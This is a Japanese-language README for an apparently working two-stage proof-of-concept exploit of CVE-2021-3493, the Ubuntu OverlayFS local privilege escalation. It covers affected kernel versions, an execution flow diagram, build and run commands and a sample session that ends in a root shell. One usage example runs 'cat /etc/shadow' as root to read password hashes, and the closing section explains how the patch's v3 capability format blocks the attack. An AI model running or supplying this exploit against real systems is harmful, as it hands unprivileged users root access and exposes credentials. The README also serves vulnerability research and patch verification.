
CVE-2021-3493 の実動する概念実証コードです。これは、Ubuntu カーネルの OverlayFS 実装におけるローカル権限昇格の脆弱性です。
非特権ユーザーは、ユーザー名前空間内でオーバーレイファイルシステムをマウントし、setxattr を使用して任意のファイルケーパビリティを設定できます。カーネルはこれらのケーパビリティの名前空間の出所を検証しないため、init ユーザー名前空間で有効になります — これにより、任意のローカルユーザーが root に権限昇格できます。
この脆弱性は Ubuntu 固有です。Ubuntu には非特権オーバーレイマウントを許可するパッチ (FS_USERNS_MOUNT) が含まれていますが、アップストリームのカーネルには含まれていないため、本流の Linux や他のディストリビューションは通常影響を受けません。
| ディストリビューション | カーネル | 影響を受ける (修正版) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
出典: USN-4916-1
この PoC は 2 段階の設計を採用しています:
| ファイル | 役割 |
|---|---|
exploit.c | ステージ 1 — ユーザー名前空間内にオーバーレイファイルシステムを作成し、rootshell ペイロードをその中にコピーし、すべてのケーパビリティ (all+ep) で security.capability xattr を設定します |
rootshell.c | ステージ 2 — ファイルケーパビリティを利用して setuid(0) を呼び出し、実際の root シェルを起動するクリーンなペイロード |
なぜ 2 段階なのか? 元の inspiringz/CVE-2021-3493 PoC では、エクスプロイトがユーザー名前空間内からシェルを exec するため、uid=0 は名前空間のマッピングに過ぎず、本当の root ではありません。本 PoC は、オーバーレイのセットアップ (ユーザー名前空間内の子プロセス) とペイロードの実行 (init 名前空間内の親プロセス) を分離し、真の権限昇格を保証します。
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← vulnerability trigger
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp: オリジナルは nosuid でマウントされている /dev/shm を使用しているため、exec 時にカーネルがファイルケーパビリティを暗黙に無視してしまいます。本 PoC は /tmp (通常は nosuid なしの ext4) を使用します。
2 段階ペイロード: オリジナルは自身 (/proc/self/exe) をケーパビリティ保持バイナリとしてコピーしますが、エクスプロイトが unshare を呼び出すため、再実行してもユーザー名前空間に再入するだけです。本 PoC は、ケーパビリティを直接消費する別個の rootshell バイナリを使用します。
| OS | Ubuntu 20.04.1 LTS (Focal Fossa) |
| カーネル | 5.4.0-65-generic (脆弱) / 5.4.0-216-generic (修正済み) |
| 構成 | デフォルトの Ubuntu Server インストール — 無効化した緩和策なし |
テストホストは、すべてのデフォルトのセキュリティ機能を有効にした状態の標準的な Ubuntu 20.04 カーネルを使用しています:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (デフォルト — 非特権ユーザー名前空間を許可)CONFIG_OVERLAY_FS=m (デフォルト — OverlayFS がモジュールとして利用可能)BOOT_IMAGE=... root=... ro)無効化が必要なセキュリティ機能はありません — このエクスプロイトは、脆弱なカーネルを搭載したデフォルトの Ubuntu 20.04 でそのまま動作します。
⚠️ 警告: これは、自分が所有するシステム、または明示的にテストを許可されたシステムでのみ実行してください。このエクスプロイトは実際の root アクセスを付与します。
make
./exploit
デフォルトの動作では、対話型の root シェルが起動します。単一のコマンドを実行することもできます:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
修正済みカーネル (例: Ubuntu 20.04 の >= 5.4.0-70) では、ユーザー名前空間内のオーバーレイ経由で設定されたケーパビリティ xattr が v2 から v3 形式にアップグレードされます。v3 形式には、設定者の init 名前空間における実 UID を記録する rootid フィールドが含まれます。exec 時にカーネルは rootid をチェックし、0 でない場合はケーパビリティが拒否されます:
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
このコードはセキュリティ研究および許可されたテスト専用に提供されています。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。作者は不正使用に対する責任を負いません。